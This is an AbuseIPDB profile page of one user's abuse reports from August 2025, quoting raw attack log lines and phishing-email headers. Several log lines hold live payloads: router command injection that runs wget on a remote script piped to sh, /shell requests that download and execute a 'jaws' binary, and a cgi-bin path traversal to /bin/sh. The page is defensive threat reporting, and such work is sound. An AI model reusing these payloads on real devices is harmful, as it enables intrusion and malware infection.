AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User Mirage F1 joined AbuseIPDB in July 2021 and has reported 2,539 IP addresses.

Standing (weight) is good.

ACTIVE USER

IP	Date	Comment	Categories
🇺🇸 209.164.236.126	27 Aug 2025	126.236-24.dsl.ptc.tftn.dynamic.planttel.net - - [27/Aug/2025:05:22:46 +0200] "GET /cgi-bin/luc i/; ... show more 126.236-24.dsl.ptc.tftn.dynamic.planttel.net - - [27/Aug/2025:05:22:46 +0200] "GET /cgi-bin/luc i/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//95.103.172.144/router.tp link.sh%20-O-%7Csh) HTTP/1.1" show less	Hacking Web App Attack
🇸🇪 185.183.145.246	27 Aug 2025	185.183.145.246 - - [27/Aug/2025:04:54:57 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country& ope ... show more 185.183.145.246 - - [27/Aug/2025:04:54:57 +0200] "GET /cgi-bin/luci/;stok=/locale?form=country& operation=write&country=$(wget%20http%3A//144.172.103.95/router.tplink.sh%20-O-%7Csh) HTTP/1.1" show less	Hacking Web App Attack
🇺🇸 144.172.103.95	27 Aug 2025	host-79-40-159-52.business.telecomitalia.it - - [27/Aug/2025:05:04:21 +0200] "GET /cgi-bin/luci /;s ... show more host-79-40-159-52.business.telecomitalia.it - - [27/Aug/2025:05:04:21 +0200] "GET /cgi-bin/luci /;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//144.172.103.95/router.tpl ink.sh%20-O-%7Csh) HTTP/1.1" show less	Exploited Host
🇮🇹 79.40.159.52	27 Aug 2025	host-79-40-159-52.business.telecomitalia.it - - [27/Aug/2025:05:04:21 +0200] "GET /cgi-bin/luci /;s ... show more host-79-40-159-52.business.telecomitalia.it - - [27/Aug/2025:05:04:21 +0200] "GET /cgi-bin/luci /;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//144.172.103.95/router.tpl ink.sh%20-O-%7Csh) HTTP/1.1" host-79-40-159-52.business.telecomitalia.it - - [27/Aug/2025:05:04:21 +0200] "GET /cgi-bin/luci /;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//144.172.103.95/router.tpl ink.sh%20-O-%7Csh) HTTP/1.1" show less	Hacking Web App Attack
🇬🇧 139.59.181.172	26 Aug 2025	139.59.181.172 - - [26/Aug/2025:00:07:05 +0200] "\x16\x03\x01" 139.59.181.172 - - [26/Aug/2025:00: ... show more 139.59.181.172 - - [26/Aug/2025:00:07:05 +0200] "\x16\x03\x01" 139.59.181.172 - - [26/Aug/2025:00:07:04 +0200] "\x16\x03\x01" 139.59.181.172 - - [26/Aug/2025:00:07:05 +0200] "GET / HTTP/1.1" 139.59.181.172 - - [26/Aug/2025:00:07:10 +0200] "GET /form.html HTTP/1.1" 139.59.181.172 - - [26/Aug/2025:00:07:15 +0200] "GET /upl.php HTTP/1.1" 139.59.181.172 - - [26/Aug/2025:00:07:20 +0200] "GET /t4 HTTP/1.1" show less	Hacking
🇩🇪 85.215.141.208	23 Aug 2025	From: "Telekom Deutschland" <[email protected]> (=?UTF-8?B?RHJpbmdlbmRlIEluZm9ybWF0aW9uOiBTcHJhY2 ... show more From: "Telekom Deutschland" <[email protected]> (=?UTF-8?B?RHJpbmdlbmRlIEluZm9ybWF0aW9uOiBTcHJhY2huYWNocmljaHQgYW5ow7ZyZW4=?=) --===============0228792480986539019== Content-Type: text/html; charset="utf-8" show less	Phishing
🇺🇸 172.67.176.100	21 Aug 2025	dedicated.sollutium.com - - [21/Aug/2025:12:31:19 +0200] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2 e/. ... show more dedicated.sollutium.com - - [21/Aug/2025:12:31:19 +0200] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2 e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" show less	Hacking
🇺🇸 104.21.72.75	21 Aug 2025	dedicated.sollutium.com - - [21/Aug/2025:12:31:19 +0200] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2 e/. ... show more dedicated.sollutium.com - - [21/Aug/2025:12:31:19 +0200] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2 e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" show less	Hacking
🇳🇱 213.111.146.88	21 Aug 2025	dedicated.sollutium.com - - [21/Aug/2025:12:31:19 +0200] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2 e/. ... show more dedicated.sollutium.com - - [21/Aug/2025:12:31:19 +0200] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2 e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" show less	Hacking
🇺🇸 54.240.8.59	21 Aug 2025	From: "MB Stutt." <[email protected]> (=?UTF-8?B?U2Fpc29uIDIwMjU6IGdlcHLDvGZ0ZSwgdmVyZsO8 ... show more From: "MB Stutt." <[email protected]> (=?UTF-8?B?U2Fpc29uIDIwMjU6IGdlcHLDvGZ0ZSwgdmVyZsO8Z2JhcmUgTWVyY2VkZXMtQmVueiBNb2RlbGxlIGFuc2VoZW4=?=) This is a multi-part message in MIME format. --boundary_68a6bd44d4259_1755757892 show less	Phishing Email Spam
🇺🇸 142.214.203.108	19 Aug 2025	142.214.203.108 - - [19/Aug/2025:10:20:37 +0200] "POST /boaform/admin/formLogin HTTP/1.1"	Hacking
🇺🇸 142.214.203.108	19 Aug 2025	142.214.203.108 - - [19/Aug/2025:05:12:02 +0200] "POST /boaform/admin/formLogin HTTP/1.1" 403 442 "h ... show more 142.214.203.108 - - [19/Aug/2025:05:12:02 +0200] "POST /boaform/admin/formLogin HTTP/1.1" 403 442 "http://87.xxx.xxx.xxx :80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" 142.214.203.108 - - [19/Aug/2025:09:11:14 +0200] "POST /boaform/admin/formLogin HTTP/1.1" 403 442 "http://87.xxx.xxx.xxx :80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" show less	Hacking Web App Attack
🇨🇭 194.126.200.54	19 Aug 2025	From: Kunden-Support<[email protected]> (=?UTF-8?B?Wm9sbHNlcnZpY2U6IEJpdHRlIHphaGxlbiBTa ... show more From: Kunden-Support<[email protected]> (=?UTF-8?B?Wm9sbHNlcnZpY2U6IEJpdHRlIHphaGxlbiBTaWUgZGllIGbDpGxsaWdlIEdlYsO8aHIgZsO8ciBJaHIgUGFrZXQh?=) Zollservice: Bitte zahlen Sie die fällige Gebühr für Ihr Pak= et! Zollservice: Bitte zahlen Sie die fällige Gebühr für Ihr= show less	Phishing
🇸🇬 8.219.197.5	18 Aug 2025	tcp/23	Port Scan
🇨🇮 160.155.243.133	18 Aug 2025	From: B A R C L A Y S <[email protected]> (=?UTF-8?Q?BARCLAYS_Bank_=E2=80=93_Verd=C3 ... show more From: B A R C L A Y S <[email protected]> (=?UTF-8?Q?BARCLAYS_Bank_=E2=80=93_Verd=C3=A4chtige_Zahlung_erkannt?=) This is a multi-part message in MIME format. --------------tk8oIOGxC19mm2pGfGeiIGiB show less	Phishing Email Spam
🇭🇰 152.32.209.62	15 Aug 2025	mail3.sexyfreewebcams.com - - [15/Aug/2025:03:28:49 +0200] "\x16\x03\x01" mail3.sexyfreewebcams.co ... show more mail3.sexyfreewebcams.com - - [15/Aug/2025:03:28:49 +0200] "\x16\x03\x01" mail3.sexyfreewebcams.com - - [15/Aug/2025:03:28:50 +0200] "t3 12.1.2\n" show less	Hacking Web App Attack
🇺🇸 103.143.238.121	14 Aug 2025	103.143.238.121 - - [14/Aug/2025:09:50:07 +0200] "GET /sql/phpmyadmin3/index.php?lang=en HTTP/1.1"	Hacking
🇺🇸 69.169.224.18	14 Aug 2025	From: Audi Servicecenter <[email protected]> (=?utf-8?B?QXVkaSBHZWJyYXVjaHRmYWhyemV1Z2Ug4oCTIGlu ... show more From: Audi Servicecenter <[email protected]> (=?utf-8?B?QXVkaSBHZWJyYXVjaHRmYWhyemV1Z2Ug4oCTIGluZGl2aWR1ZWxsZSBW?= =?utf-8?B?b3JzY2hsw6RnZQ==?=) --224a03a8e8fcd6d90aa0e95135f0f7dab5fe Content-Type: multipart/alternative; boundary="2b81c8d7f33719e2c16b310aff1610fd9 show less	Phishing Email Spam
🇳🇱 162.211.230.177	14 Aug 2025	8.222.194.137 - - [13/Aug/2025:20:43:45 +0200] "GET /shell?cd+/tmp;rm+-rf+;wget+ scamanje.stresseri ... show more 8.222.194.137 - - [13/Aug/2025:20:43:45 +0200] "GET /shell?cd+/tmp;rm+-rf+;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws" show less	Exploited Host
🇸🇬 8.222.194.137	14 Aug 2025	8.222.194.137 - - [13/Aug/2025:20:43:45 +0200] "GET /shell?cd+/tmp;rm+-rf+;wget+ scamanje.stresseri ... show more 8.222.194.137 - - [13/Aug/2025:20:43:45 +0200] "GET /shell?cd+/tmp;rm+-rf+;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws" show less	Hacking Exploited Host
🇳🇱 185.33.100.29	13 Aug 2025	From: "Barclays Deutschland" <[email protected]> (=?UTF-8?B?U2ljaGVyaGVpdHN3YXJudW5nOiBVbmdld8O ... show more From: "Barclays Deutschland" <[email protected]> (=?UTF-8?B?U2ljaGVyaGVpdHN3YXJudW5nOiBVbmdld8O2aG5saWNoZSBBa3Rpdml0w6R0IGF1ZiBJaHJlbSBLb250bw==?=) --===============8805255062454365776== Content-Type: text/html; charset="utf-8" show less	Phishing Email Spam
🇳🇱 185.33.100.29	13 Aug 2025	From: "Barclays Deutschland" <[email protected]> (=?UTF-8?B?QmFyY2xheXMgQmFuayBHbWJILVdpY2h0aWc6I ... show more From: "Barclays Deutschland" <[email protected]> (=?UTF-8?B?QmFyY2xheXMgQmFuayBHbWJILVdpY2h0aWc6IFNjaMO8dHplbiBTaWUgamV0enQgSWhyIEtvbnRv?=) --===============5960365898348890928== Content-Type: text/html; charset="utf-8" show less	Phishing
🇳🇱 185.33.100.29	11 Aug 2025	From: "Barclays Deutschland" <[email protected]> (=?UTF-8?B?U2ljaGVyaGVpdHN3YXJudW5nOiB ... show more From: "Barclays Deutschland" <[email protected]> (=?UTF-8?B?U2ljaGVyaGVpdHN3YXJudW5nOiBWZXJkw6RjaHRpZ2Ugw5xiZXJ3ZWlzdW5nIHZvbiBJaHJlbSBLb250bw==?=) --===============2139201972998578461== Content-Type: text/html; charset="utf-8" show less	Phishing Email Spam
🇭🇰 143.92.37.165	10 Aug 2025	SSH	Port Scan
🇸🇬 8.222.212.69	09 Aug 2025	8.222.212.69 - - [08/Aug/2025:21:25:57 +0200] "GET /shell?cd+/tmp;rm+-rf+;wget+ 213.209.150.159/jaw ... show more 8.222.212.69 - - [08/Aug/2025:21:25:57 +0200] "GET /shell?cd+/tmp;rm+-rf+;wget+ 213.209.150.159/jaws;sh+/tmp/jaws" show less	Hacking